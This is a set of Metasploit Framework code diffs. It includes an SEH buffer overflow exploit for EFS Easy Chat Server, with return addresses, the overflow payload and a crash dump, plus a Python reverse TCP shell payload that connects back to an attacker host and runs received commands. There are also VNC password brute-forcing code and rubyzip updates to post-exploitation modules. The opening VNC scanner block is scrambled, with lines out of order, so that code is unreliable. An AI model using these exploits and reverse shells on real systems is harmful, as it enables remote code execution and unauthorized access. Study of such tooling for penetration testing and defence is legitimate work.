protocol: 'tcp',
workspace_id: myworkspace_id
}
scanner.scan! do |result|
if result.success?
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
}
# If we tried all these attempts, and we still got a retry condition,
# we'll just give up.. Must be that nasty blacklist algorithm kicking
# our butt.
return :abort if ret == :retry
ret
}
rescue ::Rex::ConnectionError
nil
end
end
credential_data.merge!(service_data)
def do_login(user, pass)
vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'")
credential_core = create_credential(credential_data)
connect
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Credential::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
begin
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
if not vnc.handshake
vprint_error("#{target_host}:#{rport}, #{vnc.error}")
return :abort
create_credential_login(login_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: nil,
private: result.credential.private,
realm_key: nil,
realm_value: nil,
status: result.status)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
ver = "#{vnc.majver}.#{vnc.minver}"
vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}")
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'vnc',
:info => "VNC protocol version #{ver}"
)
if not vnc.authenticate(pass)
vprint_error("#{target_host}:#{rport}, #{vnc.error}")
return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC
return :retry if vnc.error =~ /Too many security failures/ # vnc4server
return :fail
end
print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"")
access_type = "password"
#access_type = "view-only password" if vnc.view_only_mode
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'vnc',
:pass => pass,
:type => access_type,
:duplicate_ok => true,
:source_type => "user_supplied",
:active => true
})
return :next_user
# For debugging only.
#rescue ::Exception
# raise $!
# print_error("#{$!}")
ensure
disconnect()
end
end
end

View File

@ -17,78 +17,151 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
sending a overly long authentication request, an attacker may be able to execute
arbitrary code.
NOTE: The offset to SEH is influenced by the installation path of the program.
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
with "\users\" and the string passed as the username HTTP paramter.
This module exploits a stack buffer overflow in EFS Software Easy Chat
Server versions 2.0 to 3.1. By sending an overly long authentication
request, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'LSO <lso[at]hushmail.com>' ],
'Author' =>
[
'LSO <lso[at]hushmail.com>', # original metasploit
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
],
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2004-2466' ],
[ 'CVE', '2004-2466' ],
[ 'OSVDB', '7416' ],
[ 'BID', '25328' ],
[ 'OSVDB', '106841' ],
[ 'BID', '25328' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Privileged' => false,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
'Space' => 7000,
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
# -- Windows XP SP 3 (x86) (EN)
# -- Windows 7 SP 1 (x64) (EN)
# -- Windows 8 SP 0 (x64) (EN)
[ 'Automatic Targeting', { 'auto' => true } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
# p/p/r SSLEAY32.dll
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
],
'DisclosureDate' => 'Aug 14 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
"C:\\Program Files\\Easy Chat Server" ])
], self.class )
end
def check
info = http_fingerprint # check method
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
if (info =~ /Easy Chat Server\/1\.0/)
return Exploit::CheckCode::Appears
version = get_version
if not version
return Exploit::CheckCode::Safe
end
vprint_status "#{peer} - Found version: #{version}"
if version !~ /^(2\.\d|3\.0|3\.1)$/
return Exploit::CheckCode::Safe
end
path = get_install_path
if not path
return Exploit::CheckCode::Detected
end
vprint_status "#{peer} - Found path: #{path}"
return Exploit::CheckCode::Appears
end
#
# Get software version from change log
#
def get_version
res = send_request_raw 'uri' => '/whatsnew.txt'
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
return "#{$1}"
end
end
#
# Get software installation path from uninstall file
#
def get_install_path
res = send_request_raw 'uri' => '/unins000.dat'
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
return "#{$1}"
end
Exploit::CheckCode::Safe
end
def exploit
# randomize some values.
val = rand_text_alpha(rand(10) + 1)
num = rand_text_numeric(1)
path = datastore['PATH'] + "\\users\\"
print_status("path: " + path)
# get target
if target.name =~ /Automatic/
version = get_version
vprint_status "#{peer} - Found version: #{version}" if version
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
elsif version =~ /(2\.0)/
my_target = targets[1]
elsif version =~ /(2\.\d|3\.0|3\.1)/
my_target = targets[2]
end
else
my_target = target
end
# exploit buffer.
filler = rand_text_alpha(256 - path.length)
seh = generate_seh_payload(target.ret)
juju = filler + seh
# get install path
path = get_install_path
if not path
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
end
path << "\\users\\"
vprint_status "#{peer} - Using path: #{path}"
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
# send payload
sploit = rand_text_alpha(256 - path.length)
sploit << generate_seh_payload(my_target.ret)
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
send_request_cgi({
'uri' => '/chat.ghp',
'encode_params' => false,
'vars_get' => {
'username' => sploit,
'password' => rand_text_alphanumeric(rand(10) + 1),
'room' => 1,
'sex' => rand_text_numeric(1)
}
}, 5)
print_status("Trying target #{target.name}...")
send_request_raw({'uri' => uri}, 5)
handler
disconnect
end
end
=begin
0x004144C8 calls sprintf with the following arguments:
sprintf(&FileName, "%susers\\%s", path, username);
Since we can make the username larger than the allocated buffer size
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
a short jmp to the beginning of our shellcode.
(46c.144): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
EasyChat+0x45f34:
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
0:005> !exchain
01216dd8: 41414141
Invalid exception stack at 41414141
=end

View File

@ -0,0 +1,68 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Reverse TCP (via python)',
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compat with 2.3.3',
'Author' => 'Ben Campbell', # Based on RageLtMan's reverse_ssl
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd << "import socket,os\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
cmd
end
end

View File

@ -15,12 +15,12 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
'Name' => 'Command Shell, Reverse TCP SSL (via python)',
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
'Author' => 'RageLtMan',
'License' => BSD_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_CMD,
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseTcpSsl,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
@ -36,8 +36,7 @@ module Metasploit3
# Constructs the payload
#
def generate
vprint_good(command_string)
return super + command_string
super + command_string
end
#
@ -60,11 +59,10 @@ module Metasploit3
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
cmd += "\ts.send(stdout_value)\n"
# The *nix shell wrapper to keep things clean
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
return cmd
cmd
end
end

View File

@ -3,10 +3,24 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Standard Library
#
require 'tmpdir'
#
# Gems
#
require 'zip'
#
# Project
#
require 'msf/core'
require 'rex'
require 'zip/zip'
require 'tmpdir'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post
begin
# automatically commits the changes made to the zip archive when
# the block terminates
Zip::ZipFile.open(tmp) do |zip_file|
Zip::File.open(tmp) do |zip_file|
res = modify_omnija(zip_file)
end
rescue Zip::ZipError => e
rescue Zip::Error => e
print_error("Error modifying #{new_file}")
return
end

View File

@ -3,9 +3,20 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Gems
#
# for extracting files
require 'zip'
#
# Project
#
require 'msf/core'
require 'zip/zip' #for extracting files
require 'rex/zip' #for creating files
# for creating files
require 'rex/zip'
class Metasploit3 < Msf::Post
@ -109,17 +120,17 @@ class Metasploit3 < Msf::Post
end
#RubyZip sometimes corrupts the document when manipulating inside a
#compressed document, so we extract it with Zip::ZipFile into memory
#compressed document, so we extract it with Zip::File into memory
def unzip_docx(zipfile)
vprint_status("Extracting #{datastore['FILE']} into memory.")
zip_data = Hash.new
begin
Zip::ZipFile.open(zipfile) do |filezip|
Zip::File.open(zipfile) do |filezip|
filezip.each do |entry|
zip_data[entry.name] = filezip.read(entry)
end
end
rescue Zip::ZipError => e
rescue Zip::Error => e
print_error("Error extracting #{datastore['FILE']} please verify it is a valid .docx document.")
return nil
end

View File

@ -3,22 +3,23 @@ require 'metasploit/framework/credential_collection'
describe Metasploit::Framework::CredentialCollection do
describe "#each" do
subject(:collection) do
described_class.new(
username: username,
password: password,
user_file: user_file,
pass_file: pass_file,
userpass_file: userpass_file,
)
end
subject(:collection) do
described_class.new(
username: username,
password: password,
user_file: user_file,
pass_file: pass_file,
userpass_file: userpass_file,
)
end
let(:username) { "user" }
let(:password) { "pass" }
let(:user_file) { nil }
let(:pass_file) { nil }
let(:userpass_file) { nil }
let(:username) { "user" }
let(:password) { "pass" }
let(:user_file) { nil }
let(:pass_file) { nil }
let(:userpass_file) { nil }
describe "#each" do
specify do
expect { |b| collection.each(&b) }.to yield_with_args(Metasploit::Framework::Credential)
@ -82,4 +83,15 @@ describe Metasploit::Framework::CredentialCollection do
end
describe "#prepend_cred" do
specify do
prep = Metasploit::Framework::Credential.new(public: "foo", private: "bar")
collection.prepend_cred(prep)
expect { |b| collection.each(&b) }.to yield_successive_args(
prep,
Metasploit::Framework::Credential.new(public: username, private: password),
)
end
end
end